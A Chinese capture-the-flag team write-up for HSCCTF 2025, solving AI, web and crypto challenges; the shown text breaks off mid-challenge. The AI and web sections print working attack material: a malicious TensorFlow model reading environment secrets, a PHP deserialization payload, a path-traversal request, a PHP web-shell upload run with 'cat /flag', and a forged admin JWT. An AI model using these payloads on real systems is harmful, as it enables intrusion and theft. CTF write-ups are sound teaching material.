HSCCTF 2025

本届HSCCTF 2025是由中龙技术联合数支社会战队举办。
本次比赛将采用在线网络安全夺旗挑战赛的形式,涵盖WEB、CRYPTO、MISC、PWN、REVERSE、OSINT等主流方向,并面向全球开放。

Rank: 3


Artificial Intelligence

Contaminated-data

2025长城杯原题。

给了一个weights.npy和一个c.npy,用numpy加载并查看数据和形状:

1
2
3
4
5
6
7
weight = np.load('weights.npy')
c = np.load('c.npy')

print(weight)
print(weight.shape)
print(c)
print(c.shape)

weight是是 304*304 的矩阵,而c是 4*76=304 刚好也是304,数据全是0和1。

结合题目名字推测可能是要恢复图片,由 4*76=304304*304 的矩阵可知,weight[i][j]表示像素i和j之间的连接强度,说明是一个全连接结构的hopfield网络,直接加权计算,判断收敛后得到一个结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import numpy as np
import matplotlib.pyplot as plt

weight = np.load('weights.npy')
c = np.load('c.npy')

v = c.flatten().copy()

for t in range(50):
updated_v = np.zeros_like(v)
for j in range(len(v)):
total = 0
for i in range(len(v)):
if i != j:
total += weight[i, j] * v[i]
updated_v[j] = 1 if total >= 0 else 0
if np.array_equal(updated_v, v):
print(f"Converged after {t} iterations")
break
v = updated_v.copy()

result = v.reshape(4, 76)
plt.figure(figsize=(8, 4))
plt.imshow(result)
plt.show()

得到:

image-20251211110505564

flag:

flag{flove_all_hurt}

Modelscope

2025长城杯原题 Mini-modelscope。

上传模型:服务器会解压 model.zip 并尝试加载模型。

输入固定:默认会调用 signature 输入 [[1.0]]

返回值:result 是字典,至少有一个 prediction 键。

核心任务:构造一个模型文件,让 signature(tf.constant([[1.0]])) 的输出符合想要的结果(比如泄露 flag)。

列目录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import tensorflow as tf

class MyModel(tf.Module):

@tf.function(input_signature=[tf.TensorSpec(shape=[1,1], dtype=tf.float32)])
def serve(self, x):

files = tf.io.matching_files("/*")
joined = tf.strings.reduce_join(files, separator=b"|")
byte_vals = tf.strings.unicode_decode(joined, "UTF-8")

return {
"prediction": tf.cast(tf.reshape(byte_vals, (1, -1)), tf.float32)
}

model = MyModel()

tf.saved_model.save(model, "exported-model", signatures={"serve": model.serve})

读文件(环境变量 /proc/self/environ):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import tensorflow as tf

class MyModel(tf.Module):

@tf.function(input_signature=[tf.TensorSpec(shape=[1,1], dtype=tf.float32)])
def serve(self, x):
text = tf.io.read_file("/proc/self/environ") # 修改为真实路径
# 将 flag 转成 bytes -> int list
byte_vals = tf.strings.unicode_decode(text, "UTF-8")
return {
"prediction": tf.cast(tf.reshape(byte_vals, (1, -1)), tf.float32)
}

model = MyModel()

tf.saved_model.save(
model,
export_dir="exported-model",
signatures={"serve": model.serve}
)

得到结果的解析:

1
2
3
4
5
6
7
import numpy as np

a = np.array([80.0, 89.0, 84.0, 72.0, 79.0, 78.0, 95.0, 83.0, 72.0, 65.0, 50.0, 53.0, 54.0, 61.0, 48.0, 55.0, 97.0, 98.0, 54.0, 57.0, 55.0, 52.0, 55.0, 52.0, 53.0, 57.0, 53.0, 101.0, 48.0, 54.0, 102.0, 48.0, 54.0, 54.0, 52.0, 55.0, 52.0, 49.0, 55.0, 100.0, 51.0, 99.0, 55.0, 102.0, 97.0, 57.0, 55.0, 100.0, 101.0, 100.0, 48.0, 55.0, 97.0, 102.0, 99.0, 49.0, 97.0, 55.0, 101.0, 52.0, 52.0, 53.0, 52.0, 99.0, 53.0, 54.0, 51.0, 57.0, 57.0, 49.0, 57.0, 98.0, 52.0, 54.0, 101.0, 97.0, 101.0, 97.0, 0.0, 72.0, 79.0, 83.0, 84.0, 78.0, 65.0, 77.0, 69.0, 61.0, 54.0, 50.0, 53.0, 102.0, 54.0, 50.0, 101.0, 100.0, 53.0, 55.0, 54.0, 101.0, 0.0, 80.0, 89.0, 84.0, 72.0, 79.0, 78.0, 95.0, 86.0, 69.0, 82.0, 83.0, 73.0, 79.0, 78.0, 61.0, 51.0, 46.0, 49.0, 50.0, 46.0, 49.0, 48.0, 0.0, 80.0, 87.0, 68.0, 61.0, 47.0, 97.0, 112.0, 112.0, 0.0, 72.0, 79.0, 77.0, 69.0, 61.0, 47.0, 114.0, 111.0, 111.0, 116.0, 0.0, 76.0, 65.0, 78.0, 71.0, 61.0, 67.0, 46.0, 85.0, 84.0, 70.0, 45.0, 56.0, 0.0, 71.0, 80.0, 71.0, 95.0, 75.0, 69.0, 89.0, 61.0, 55.0, 49.0, 54.0, 57.0, 54.0, 48.0, 53.0, 70.0, 54.0, 50.0, 67.0, 55.0, 53.0, 49.0, 51.0, 53.0, 54.0, 68.0, 48.0, 53.0, 52.0, 65.0, 50.0, 54.0, 65.0, 56.0, 50.0, 49.0, 69.0, 54.0, 56.0, 48.0, 69.0, 53.0, 70.0, 65.0, 54.0, 51.0, 48.0, 53.0, 0.0, 70.0, 76.0, 65.0, 71.0, 61.0, 72.0, 83.0, 67.0, 67.0, 84.0, 70.0, 123.0, 49.0, 100.0, 101.0, 54.0, 102.0, 102.0, 101.0, 102.0, 45.0, 98.0, 49.0, 56.0, 51.0, 45.0, 52.0, 57.0, 53.0, 56.0, 45.0, 97.0, 102.0, 53.0, 100.0, 45.0, 98.0, 54.0, 54.0, 55.0, 55.0, 56.0, 55.0, 101.0, 48.0, 102.0, 99.0, 99.0, 125.0, 0.0, 83.0, 72.0, 76.0, 86.0, 76.0, 61.0, 48.0, 0.0, 80.0, 65.0, 84.0, 72.0, 61.0, 47.0, 117.0, 115.0, 114.0, 47.0, 108.0, 111.0, 99.0, 97.0, 108.0, 47.0, 98.0, 105.0, 110.0, 58.0, 47.0, 117.0, 115.0, 114.0, 47.0, 108.0, 111.0, 99.0, 97.0, 108.0, 47.0, 115.0, 98.0, 105.0, 110.0, 58.0, 47.0, 117.0, 115.0, 114.0, 47.0, 108.0, 111.0, 99.0, 97.0, 108.0, 47.0, 98.0, 105.0, 110.0, 58.0, 47.0, 117.0, 115.0, 114.0, 47.0, 115.0, 98.0, 105.0, 110.0, 58.0, 47.0, 117.0, 115.0, 114.0, 47.0, 98.0, 105.0, 110.0, 58.0, 47.0, 115.0, 98.0, 105.0, 110.0, 58.0, 47.0, 98.0, 105.0, 110.0, 0.0, 95.0, 61.0, 47.0, 117.0, 115.0, 114.0, 47.0, 108.0, 111.0, 99.0, 97.0, 108.0, 47.0, 98.0, 105.0, 110.0, 47.0, 112.0, 121.0, 116.0, 104.0, 111.0, 110.0, 0.0], dtype=np.int32).tolist()
print(''.join([chr(k) for k in a]))

# 环境变量中内容:
# FLAG=HSCCTF{1de6ffef-b183-4958-af5d-b667787e0fcc}

WEB

Baby Cloud

反序列化字符逃逸。

构造普通序列化结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class race
{
public $rainbow;
public $pinkie;
public $fail = 1;
public function __construct($rainbow, $pinkie)
{
$this->rainbow = $rainbow;
$this->pinkie = $pinkie;
}
}
$rainbow = 'aaa';
$pinkie = 'awesome";s:4:"fail";i:0;}';
$_RACE = new race($rainbow, $pinkie);
echo serialize($_RACE);

// O:4:"race":3:{s:7:"rainbow";s:3:"aaa";s:6:"pinkie";s:25:"awesome";s:4:"fail";i:0;}";s:4:"fail";i:1;}

构造多个awesome,使得替换为awesomer的时候,能被前面的数量包含进去,7x+18=8x,有x=18,即18个awesome。

exp:

1
?rainbow=wonderful&pinkie=awesomeawesomeawesomeawesomeawesomeawesomeawesomeawesomeawesomeawesomeawesomeawesomeawesomeawesomeawesomeawesomeawesomeawesome";s:4:"fail";i:0;}

Horse

扫出robots.txt,访问有:

1
2
不要访问ctfer_mode千万不要
不要访问/password/pass.list千万不要

访问/password/pass.list:

1
2
test:11451419
ctfers:我忘了哈哈

bp抓包,使用弱口令+目录穿越:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /change_mode.php HTTP/1.1
Host: 150.138.81.18:12137
Content-Length: 47
Cache-Control: max-age=0
Origin: http://150.138.81.18:12137
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://150.138.81.18:12137/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: PHPSESSID=7340142d44b097d47962e41d780bba91
Connection: close

ctfers=ctfers&ctfpass=12345678&ctfer_mode=../../../../../../flag

Purple Moon

打条件竞争,两个request同时发包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /index.php HTTP/1.1
Host: 150.138.81.18:13769
Content-Length: 916
Cache-Control: max-age=0
Origin: http://150.138.81.18:13769
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjQfbzI48Oa9esZqb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://150.138.81.18:13769/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: PHPSESSID=7340142d44b097d47962e41d780bba91
Connection: close

------WebKitFormBoundaryjQfbzI48Oa9esZqb
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg

<?php system($_GET['x']);
------WebKitFormBoundaryjQfbzI48Oa9esZqb--

1
2
3
4
5
6
7
8
9
GET /uploads/1.php?x=cat%20/flag HTTP/1.1
Host: 150.138.81.18:13769
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: PHPSESSID=7340142d44b097d47962e41d780bba91
Connection: close

Gogogo

注册登录,新建工单页面,存在Go SSTI。

使用 {{.}} 泄露出:

1
key=SLgFbnzQpmGts7vw

为jwt的secret,然后jwt伪造,修改role为admin:

1
2
3
4
5
6
7
{
"exp": 1765058778,
"iss": "acme-support-prod",
"name": "admin",
"role": "admin",
"userid": 1
}

得到:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NjUwNTg3NzgsImlzcyI6ImFjbWUtc3VwcG9ydC1wcm9kIiwibmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwidXNlcmlkIjoxfQ.nho9gLcdO2K4afYOpOBuyeTsfsGY6LmWyF1wDT9ORjk

改cookie的token后变为admin,进入工单管理,#1003 - 高优先级机密工单,找到flag。

Time capsule

A secure time capsule system can only be unlocked at a specific time, but is it really safe?

直接访问 /FLAG 即可。

CRYPTO

Ancient

Real sign-in

1
RzVJVFlaSkZGUk1HV1daWkdOQ0RFNEpJSE5RWEdOS05ISlNHSTNCT0daWVVXS1pDRzQzV01UQ0NISkVTNElKQkdKUkZFUEpYRjVIVk0zMlpIQVpXNjQyTkdaSlRBNFMzR1pKVENPMllIVjJWWVRMQ0daTERDTVpYR0JURk1TMlpHQlRWR0xDWkdaS1ZRWUo1R0ZURVFRSlNHQlRGNFQyTUc1SVRHUURFSFU3REVZSkVHNVdFS1FEUEdKUEVJS1NYRzQ0RkNRU0lITkNIQ1NaUEdWWlc0UlJZR1pZSEdRVFBHSVVXSVMzQkc0M0RHMkJIRzQ0R1lLU0VHQlFBPT09PQ==

base64->base32->base85->base45->base62->base58

flag:

flag{cl@ss1cal_c1pher_@re_really_1nterest1ng}

Sign_in

You can do it if you understand the code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from Crypto.Util.number import *
from gmpy2 import *
import random

get_context().precision = 2048

L = 5
S = getPrime(144)
a = getPrime(32)
b = random.randint(0, S - 1)

def split_and_pad_single_char_rule(msg, L):
segments = []
assert L >= 1
pad_len = L - 1
for char_idx, char_byte in enumerate(msg):
char_ascii = char_byte
pad_bytes = bytes([(char_ascii + i + 1) % 256 for i in range(pad_len)])
seg_bytes = bytes([char_byte]) + pad_bytes
segments.append(bytes_to_long(seg_bytes))
return segments

def encrypt_segment(m_i, a, b, M):
return (a * m_i + b) % M

flag = "flag{___________________}"
msg_bytes = flag.encode()
m_segments = split_and_pad_single_char_rule(msg_bytes, L)
c_segments = [encrypt_segment(mi, a, b, S) for mi in m_segments]

print(f"a = {a}")
print(f"S = {S}")
print(f"L = {L}")
print(f"C = {c_segments}")
print(f'M = {m_segments}')

每个字符 $c$ 被填充为长度 $L=5$ 的字节序列。规则是:[c, c+1, c+2, c+3, c+4](模 256),然后将该字节序列转换为整数 $m_i$。

$c_i = (a \cdot m_i + b) \pmod S$。

已知:$a$(乘数),$S$(模数,是一个大质数),$L$(段长度),$C$(密文列表)

未知:随机生成的 $b$(加数),需要还原的 $m_i$(明文整数)

典型的仿射密码,要解密需求出 $b$。由于flag格式是 flag{...},可利用第一个字符 ‘f’ 进行已知明文攻击:

$b \equiv c_0 - a \cdot m_0 \pmod S$

一旦求出 $b$,对于任意密文 $c_i$,求出明文 $m_i$:

$m_i \equiv a^{-1} \cdot (c_i - b) \pmod S$

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from Crypto.Util.number import *

a = 3517115977
S = 13338196046628817705384101887069807236659077
L = 5
C = [6399813929853868574459915097120849511644924, 6399813929853868574460006087942330564102834, 6399813929853868574459839271436281967929999, 6399813929853868574459930262257763020387909, 6399813929853868574460233564996033195247609, 6399813929853868574460112243900725125303729, 6399813929853868574459111344864433548266719, 6399813929853868574459930262257763020387909, 6399813929853868574460036418216157581588804, 6399813929853868574459808941162454950444029, 6399813929853868574459111344864433548266719, 6399813929853868574460036418216157581588804, 6399813929853868574459808941162454950444029, 6399813929853868574460127409037638634046714, 6399813929853868574459096179727520039523734, 6399813929853868574459930262257763020387909, 6399813929853868574459899931983936002901939, 6399813929853868574460127409037638634046714, 6399813929853868574459945427394676529130894, 6399813929853868574459172005412087583238659, 6399813929853868574460097078763811616560744, 6399813929853868574459808941162454950444029, 6399813929853868574460188069585292669018654, 6399813929853868574459960592531590037873879, 6399813929853868574460188069585292669018654, 6399813929853868574459960592531590037873879, 6399813929853868574460263895269860212733579]

def get_m_from_char(char, L):
char_byte = ord(char)
pad_len = L - 1
pad_bytes = bytes([(char_byte + i + 1) % 256 for i in range(pad_len)])
seg_bytes = bytes([char_byte]) + pad_bytes
return bytes_to_long(seg_bytes)

# 利用已知明文 "f" 恢复 b
m0 = get_m_from_char('f', L)
c0 = C[0]

b = (c0 - a * m0) % S
print(f"[+] Recovered b: {b}")

# 解密所有段
flag_str = ""
for c_val in C:
m_val = ((c_val - b) * inverse(a, S)) % S
char_code = m_val >> (8 * (L - 1))
flag_str += chr(char_code)

print(flag_str)

# flag{s1gn_1n_t0geth5r_xixi}

Math

Think, think again.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from Crypto.Util.number import *

def gen_rev_sum(m,p):
sum = 0
round = 0
while m > 0:
digit = m % p
if round % 2 == 0:
sum -= digit
else:
sum += digit
m = m // p
round += 1
return sum // 2025

e = 65537
p = getPrime(256)
q = getPrime(256)
n = p*q

m1 = getRandomNBitInteger(2048)
m2 = getRandomNBitInteger(2048)
sum1 = gen_rev_sum(m1, p)
sum2 = gen_rev_sum(m2, p)

flag = "flag{--------------------------}"
m = bytes_to_long(flag.encode())

print("m1 =",m1)
print("m2 =",m2)
print("sum1 =",sum1)
print("sum2 =",sum2)
print("n =",n)
print("c =",pow(m,e,n))

gen_rev_sum 函数实际上是在计算整数 $m$ 在 $p$ 进制下的“交错和”(Alternating Sum)。

设 $m$ 的 $p$ 进制表示为:$m = d_0 + d_1 p + d_2 p^2 + \dots + d_k p^k$。

代码逻辑是:

Round 0 (偶数): sum -= digit ($d_0$)

Round 1 (奇数): sum += digit ($d_1$)

Round 2 (偶数): sum -= digit ($d_2$)

所以内部的 sum 变量计算的是:$S = -d_0 + d_1 - d_2 + d_3 - \dots = \sum_{i} (-1)^{i+1} d_i$

已知 $p \equiv -1 \pmod{p+1}$,因此 $p^i \equiv (-1)^i \pmod{p+1}$。

对于 $m$:

$m = \sum d_i p^i \equiv \sum d_i (-1)^i \pmod{p+1}$

对于 $S$:

$S = \sum d_i (-1)^{i+1} = - \sum d_i (-1)^i$

观察两者关系,可以得出结论:

$m \equiv -S \pmod{p+1}$

即:$m + S$ 是 $p+1$ 的倍数。

确定 $S$ 的值:

给出的 sum1 和 sum2 是函数 gen_rev_sum 的返回值,即 internal_sum // 2025。

根据Python除法特性:

$S_{real} = sum_{output} \times 2025 + r$

其中 $r$ 是余数,范围在 $[0, 2024]$ 之间。

有两个方程:

$m_1 + (sum_1 \times 2025 + r_1) = k_1 \cdot (p+1)$

$m_2 + (sum_2 \times 2025 + r_2) = k_2 \cdot (p+1)$

其中 $m_1, m_2, sum_1, sum_2$ 已知,$r_1, r_2 \in [0, 2024]$。

可以遍历 $r_1$ 和 $r_2$(总共 $2025 \times 2025 \approx 4 \times 10^6$ 次组合,计算量很小)。

对于每一对 $(r_1, r_2)$,计算:

$val_1 = m_1 + sum_1 \times 2025 + r_1$

$val_2 = m_2 + sum_2 \times 2025 + r_2$

计算 $g = \text{gcd}(val_1, val_2)$。

如果 $r_1, r_2$ 正确,那么 $g$ 一定含有因子 $p+1$。由于 $p$ 是256位的,正确的 $g$ 会非常大。一旦找到可能的 $p+1$ 的倍数,可以尝试通过除以小因子来还原 $p$,并验证是否能整除 $n$。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from Crypto.Util.number import *
import math

m1 = 17322548249387769406385507000191215801044910756841784387283679508067232037647009879640247663005640315645559929483973978388785385751219073137080976227046261663059832428571101292873255962114141666488474602734594597852331665601154571683480014721045567844719377268571343706508041194359642732322649799872642255094259428635455750138217286588825326703937255171250131117864604764478573786940615096044575610751081788573681131616312486987096717266320380202191909867687322859634487150465591581523036586129341984826904474237818210411872793917742756628712320922128969576851582027757934655202892557206052328142121974846460835879379
m2 = 29770749505949559271464509877642735633388289947852331255230201935471628731047838190019590503471311260422939188831886032391799282413808339483805109656799786202448656409753608524222447399741340441803183979217817801933166848028113568228217090419247166878248450792302177597130681740006379413412297487888656975884867850858832779733076818160854085244264177562471933684902341628858046181331683501978826962693104997686104748486850900546849316714934730338449894336151567737740558472664876717516650156395237362632196760323299658988296623556674223583771795447537227301625104687705109034611911834940501083977979641467845119043780
sum1 = -108877560874638575191632670246326227208412819991287356983577291185528002487
sum2 = -47122048431044787786292644180145597499319125719652288525187634667738055282
n = 9020951256034058214321622067945640395058903219618790136239198219605516437223449048642101160150934286238922049363203171871230111420670637737169565825694393
c = 3323425622556846027480153848276857423081641901016156494250966280342935316300495906916254739461788219592704051961044937129981786472345610933524261214506540
e = 65537

# 计算基础值,待加余数
base1 = m1 + sum1 * 2025
base2 = m2 + sum2 * 2025

found_p = None

# 遍历可能的余数 r1 和 r2
for r1 in range(2025):
val1 = base1 + r1
# 简单的优化,如果找到了就退出
if found_p: break

for r2 in range(2025):
val2 = base2 + r2

# 计算最大公约数
g = math.gcd(val1, val2)

# p是256位的,p+1也是。如果GCD非常大,说明找到了包含p+1的因子
if g > 2**200:
# g 可能是 k * (p+1)
# 尝试除以小的系数 k 来还原 p
# 通常 k 会很小,因为 m 是随机生成的
for k in range(1, 1000):
if g % k == 0:
potential_p_plus_1 = g // k
potential_p = potential_p_plus_1 - 1

# 验证 p 是否能整除 n
if potential_p > 1 and n % potential_p == 0:
found_p = potential_p
print(f"Found p! (r1={r1}, r2={r2}, k={k})")
break
if found_p: break

if found_p:
p = found_p
q = n // p

phi = (p - 1) * (q - 1)
d = inverse(e, phi)

m_int = pow(c, d, n)
flag = long_to_bytes(m_int)
print(flag)
else:
print("Failed to find p.")

# Found p! (r1=1254, r2=1564, k=1)
# b'flag{Reverse_Sum_Mod_p+i_GCD_2025!}'

EZRSA

What a peculiar prime number!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from Crypto.Util.number import *

def tran(n):
s_bin = bin(n)[2:]
bit_map = {'0': '10', '1': '01'}
p_bin = '11' + ''.join([bit_map[bit] for bit in s_bin[1:]])
return int(p_bin, 2)

def keygen(nbit):
while True:
s = getPrime(nbit)
p = tran(s)
if not isPrime(p):
continue
s_bin = bin(s)[2:].zfill(nbit)
q_bin = (s_bin[:nbit // 2]
+ '1' * (nbit // 2)
+ s_bin[nbit // 2:]
+ '1' * (nbit // 2))
q = int(q_bin, 2)
if isPrime(q):
return p,q

flag = "flag{____________________________}"
nbit = 256
p, q = keygen(nbit)
m = bytes_to_long(flag.encode())
e= 65537
n = p * q
c = pow(m, e, n)

print(f'n = {n}')
print(f'c = {c}')

由构造可知:

$q$ 的最低 128 比特全是 1,即 $q \equiv -1 \pmod{2^{128}}$

所以:

$n = pq \equiv -p \pmod{2^{128}} \implies p \equiv -n \pmod{2^{128}}$

tran(s) 的结构决定了:

  • 除最高两位 ‘11’ 外,p 的每 2 bit 一组,要么 10(对应 s 的该位为 0),要么 01(对应 s 的该位为 1)。
  • 最低 128 比特只由 s 的最低 64 比特决定。
  • 利用第 1 步得到的 $p \bmod 2^{128}$,将这 128 bit 按每两位一组解码,就直接恢复了 s 的低 64 位。

有了 s 的前半部分后,可以按位继续猜 s 的下一位:

  1. 给定当前已知的前 k 位(lsb-first),构造出对应的 p 和 q 在模 $2^k$ 下的截断值(注意只用到已知位)。
  2. 检查 $(pq) \bmod 2^k$ 是否等于 $n \bmod 2^k$,若只在某个候选 bit 下成立,就确定这一位。
  3. 这样从 bit 64 推到 bit 127,再同理从 128 推到 255,可以逐位唯一恢复整个 256-bit 的 s。

拿到完整的 s 后:

  • 用给定的 tran 构造 (p);
  • q_bin = A + 1…1 + B + 1…1 构造 (q);
  • 验证 p、q 为素数且 $pq == n$。

最后常规 RSA 解密。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
from Crypto.Util.number import long_to_bytes, inverse

n = 97500437901440388417198788454954892885829765317271438600836638419723842224011100091990654907349042873594131382232421640267091732569264390052236076620148372084122607139079558728860385251369576795723604753566616558793072715394596559965112752835650808765911364805382628147988309718393764596614456741590220757591
c = 7738615614182124736230909980262535479827406389377664909203540758689122759528168600427345931034997504030657746278863273550729288326235414854206217548620396163736109673531409510422631464901846302450760457216706035370273167926580473904029057693564485585891556568420324605915383565319685765532478198539656924536
e = 65537
nbit = 256 # s 的比特长度

# ========= 部分构造恢复 =========
# s 的 bit 编号统一用 LSB 优先:s = sum s_i * 2^i, i=0 是最低位

def p_low_from_s(s_low, L):
"""
已知 s 的低位 bit 0..L(共 L+1 位,打包在 s_low),
计算 p = tran(s) 在 2^(2*(L+1)) 模下的值(即 p 的低 2*(L+1) 位)
利用映射:对 i=0..L,有
p_bit[2*i] = s_i
p_bit[2*i+1] = 1 - s_i
"""
p = 0
for i in range(L + 1):
bit = (s_low >> i) & 1
p |= bit << (2 * i)
p |= (1 - bit) << (2 * i + 1)
return p

def q_low_from_s(s_low, L):
"""
已知 s 的低位 bit 0..L,计算 q 在 2^(2*(L+1)) 模下的值。
q 的结构(nbit=256):
q_bin = A (128) | B=1^128 | C (128) | D=1^128
从 LSB 看:
bits 0..127 : 全是 1(D)
bits 128..255 : 正好是 s 的低 128 位(C)
bits 256..383 : 全是 1(B)
bits 384..511 : s 的高 128 位(A)

只需要 q 的低 2*(L+1) 位。
"""
kmax = 2 * (L + 1) # 要求的 bit 数,索引范围 0..kmax-1
q = 0
for k in range(kmax):
if k < 128:
# 落在 D 段
qb = 1
elif k < 256:
# 落在 C 段,对应 s_bit[k-128]
idx = k - 128
qb = (s_low >> idx) & 1 if idx <= L else 0
elif k < 384:
# 落在 B 段,又是 1
qb = 1
else:
# 落在 A 段,对应 s_bit[k-256](高 128 位)
idx = k - 256
qb = (s_low >> idx) & 1 if idx <= L else 0
q |= qb << k
return q

def recover_s():
"""
利用等式 n = p * q(mod 2^(2*(L+1))))逐 bit 恢复 s 的 LSB->MSB(除了最高位)。
对于每一位 i,只尝试 0/1,两种候选中只有一个能满足当前模 2^(2*(i+1)) 的乘法关系。
"""
s_low = 0
# 只恢复 0..254 共 255 位,最高位 bit_255 默认是 1(256-bit prime)
for bit in range(255):
L = bit
mod = 1 << (2 * (L + 1))
mask = mod - 1
n_mod = n & mask

good = None
for b in (0, 1):
cand = s_low | (b << bit)
p_low = p_low_from_s(cand, L)
q_low = q_low_from_s(cand, L)
if (p_low * q_low) & mask == n_mod:
if good is not None:
raise RuntimeError(f"bit {bit}: 出现了两个候选,理论上不该发生")
good = cand

if good is None:
raise RuntimeError(f"bit {bit}: 没有满足条件的候选,说明逻辑有问题")
s_low = good

# 最高位 bit_255 必为 1(256-bit prime)
return s_low | (1 << 255)

# ========= 恢复 s -> p, q =========

def tran(s):
s_bin = bin(s)[2:]
bit_map = {'0': '10', '1': '01'}
p_bin = '11' + ''.join(bit_map[bit] for bit in s_bin[1:])
return int(p_bin, 2)

def gen_q(s):
s_bin = bin(s)[2:].zfill(nbit)
q_bin = (s_bin[:nbit // 2] +
'1' * (nbit // 2) +
s_bin[nbit // 2:] +
'1' * (nbit // 2))
return int(q_bin, 2)

if __name__ == "__main__":
# 1. 恢复 s
s = recover_s()
print("[+] recovered s =", s)

# 2. 还原 p, q
p = tran(s)
q = gen_q(s)
print("[+] check p * q == n:", p * q == n)

# 3. 常规 RSA 解密
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)

print("[+] flag =", flag)

# recovered s = 68877671281748244354168774399219985559719625978037270512203331871457990617649
# b'flag{n1ce_th1s_RSA_I_can_do_it}'

Where

Make a decison

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Util.number import *
import random

flag = "flag{_______________________________}"
m = bin(bytes_to_long(flag.encode()))[2:]
p = getPrime(300)
q = getPrime(300)
n = p * q

R.<x> = PolynomialRing(Zmod(n))

def gen(m):
C = []
for bit in m:
if bit == '0':
C.append(random.randint(1, n-1))
else:
x = random.randint(1, 2^80)
y = random.randint(1, p-1)
val = 65537 + x*(1-x) +(q - x)*y + (y + x)*(q + x)
C.append(R(val))
return C

c = gen(m)
print(f"n = {n}")
print(f"c = {c}")

flag被转换成二进制字符串 m,然后通过 gen(m) 生成了一个列表 c。从代码来看,它对每个 bit 做了不同处理:

bit 为 0

C.append(random.randint(1, n-1))

直接生成随机数,没有包含 p/q 的信息。

bit 为 1

1
2
3
4
x = random.randint(1, 2^80)
y = random.randint(1, p-1)
val = 65537 + x*(1-x) +(q - x)*y + (y + x)*(q + x)
C.append(R(val))

生成的 val 中涉及 p、q、x、y,即只有 bit=1 时的多项式会包含 p 或者 q 的信息。

1
val = 65537 + x*(1-x) + (q - x)*y + (y + x)*(q + x)

展开 (y+x)*(q+x)

$(y+x)(q+x) = yq + yx + qx + x^2$

再加上 (q-x)*y = q*y - x*y

所以:

$val = 65537 + x(1-x) + qy - xy + yq + yx + qx + x^2 = 65537 + x + q(x + 2y)$

利用 $val \equiv 65537 + x \pmod q$

使用coppersmith求 $x$,有根说明该bit是1,否则是0。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Util.number import *
from tqdm import *

n = 2526599011415278649561261573052763157484362530430898703481695632630586539786168078485198684339678077901262480513358055486858753591082500336800269435444902149482534314670847199200591
c = [...]

P.<x> = PolynomialRing(Zmod(n))

flag = ''
for i in trange(len(c)):
f = 65537 + x - c[i]
root = f.small_roots(X=2^80, beta=0.48)
if root:
flag += '1'
else:
flag += '0'

print(long_to_bytes(int(flag,2)))

# b'flag{where_1s_th5_flag_where}'

StillRSA

A easy coppersmith

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from Crypto.Util.number import *
from gmpy2 import *

def gen():
while(1):
p1 = getPrime(128)
p2 = getPrime(512)
q2 = getPrime(512)
s = q2 & ((1 << 56) - 1)
q1 = 2 * p1 + s
